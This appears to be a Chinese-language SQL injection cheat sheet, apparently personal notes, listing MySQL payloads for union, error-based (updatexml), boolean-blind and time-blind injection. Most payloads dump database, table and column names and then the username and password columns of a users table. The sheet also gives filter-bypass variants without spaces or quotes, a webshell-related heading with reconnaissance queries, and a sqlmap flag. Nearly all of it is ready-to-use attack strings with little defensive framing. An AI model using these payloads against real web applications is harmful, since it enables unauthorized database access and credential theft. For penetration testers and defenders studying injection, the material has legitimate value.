数据查询SQL语句

1
2
3
4
5
6
select group_concat(schema_name) from information_schema.schemata -- 查询所有数据库
select group_concat(table_name) from information_schema.tables where table_schema = database() -- 查询当前数据中所有表

select group_concat(column_name) from information_schema.columns where table_name = 'users' -- 查询指定表中的所有字段

select group_concat(username, '~', password) from users -- 查询users表中值

联合注入(Union注入)

查询所有数据库

1
id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata -- 

写Webshell

1
2
3
union select 1,2,@@datadir -- 获取数据库路径,可猜测网站物理路径
select count(*) from mysql.user -- mysql用户权限测试
select user()

报错注入

updatexml()

函数说明

UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称

第二个参数:XPath_string (Xpath格式的字符串)

第三个参数:new_value,String格式,替换查找到的符合条件的数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
-- 1 确定闭合方式,闭合前面的单引号和括号,让updatexml被mysql识别成函数

-- 假定闭合方式为单引号 id=1'
or updatexml(1, concat(0x7e, (select 1 ),0x7e) ,1) -- 测试是否存在报错注入

-- 查询所有数据库
or updatexml(1, concat(0x7e, (select group_concat(schema_name) from information_schema.schemata ),0x7e) ,1)

-- 查询指定数据库中所有表
or updatexml(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema = database()),0x7e) ,1)

-- 查询指定表中所有列
or updatexml(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name = 'users'),0x7e) ,1)

-- 查询用户表
or updatexml(1, concat(0x7e,(select group_concat(username, ':', password) from users),0x7e) ,1)

-- 分批查询
or updatexml(1, concat(0x7e,mid(((select group_concat(username, ':', password) from users)),1,31),0x7e),1)

-- Update语句时使用
admin' where 1=2 or updatexml(1, concat(0x7e,mid(((select group_concat(username, ':', password) from users)),1,31),0x7e),1) --

extractvalue()

突破报错函数字符限制

报错内容长度不会超过32个字符

limit 分页解决

substr()截取字符解决

1
or updatexml(1, concat(0x7e, (substr((select group_concat(schema_name) from information_schema.schemata),1,31)),0x7e) ,1)

布尔盲注

binary 按ASCII码值比较——比较字符时比较大小写

1
2
3
id=admin' and binary mid((select group_concat(username, '~', password) from users),1,1) = 'D' --

id=1' or binary mid((select group_concat(username, '~', password) from users),1,1) = 'D' --

时间盲注

1
id=1 and if(mid((select group_concat(username, '~', password) from users),1,1) = 'D',sleep(4),1) --+

绕过

空格

注释符绕过

%0a绕过

括号绕过

有回显报错信息的情况下,可采用不适用空格的报错注入,payload如下

1
2
3
4
5
-- 测试是否存在
id=1'||updatexml(1,concat(0x7e,(select(1)),0x7e),1)||'1

-- 分批查询
id=1'||updatexml(1,concat(0x7e,mid((select(group_concat(username,':',password))from(users)),1,31),0x7e),1)||'1

引号

采用16进制绕过,包括不限于在Where处,函数参数位置

eg:

1
2
3
select group_concat(column_name) from information_schema.columns where table_name = 0x7573657273 --  十六进制为users

select group_concat(username, 0x7e, password) from users -- 十六进制为~

关键字

宽字节绕过

sqlmap常用选项

1
--technique=E # 选择报错注入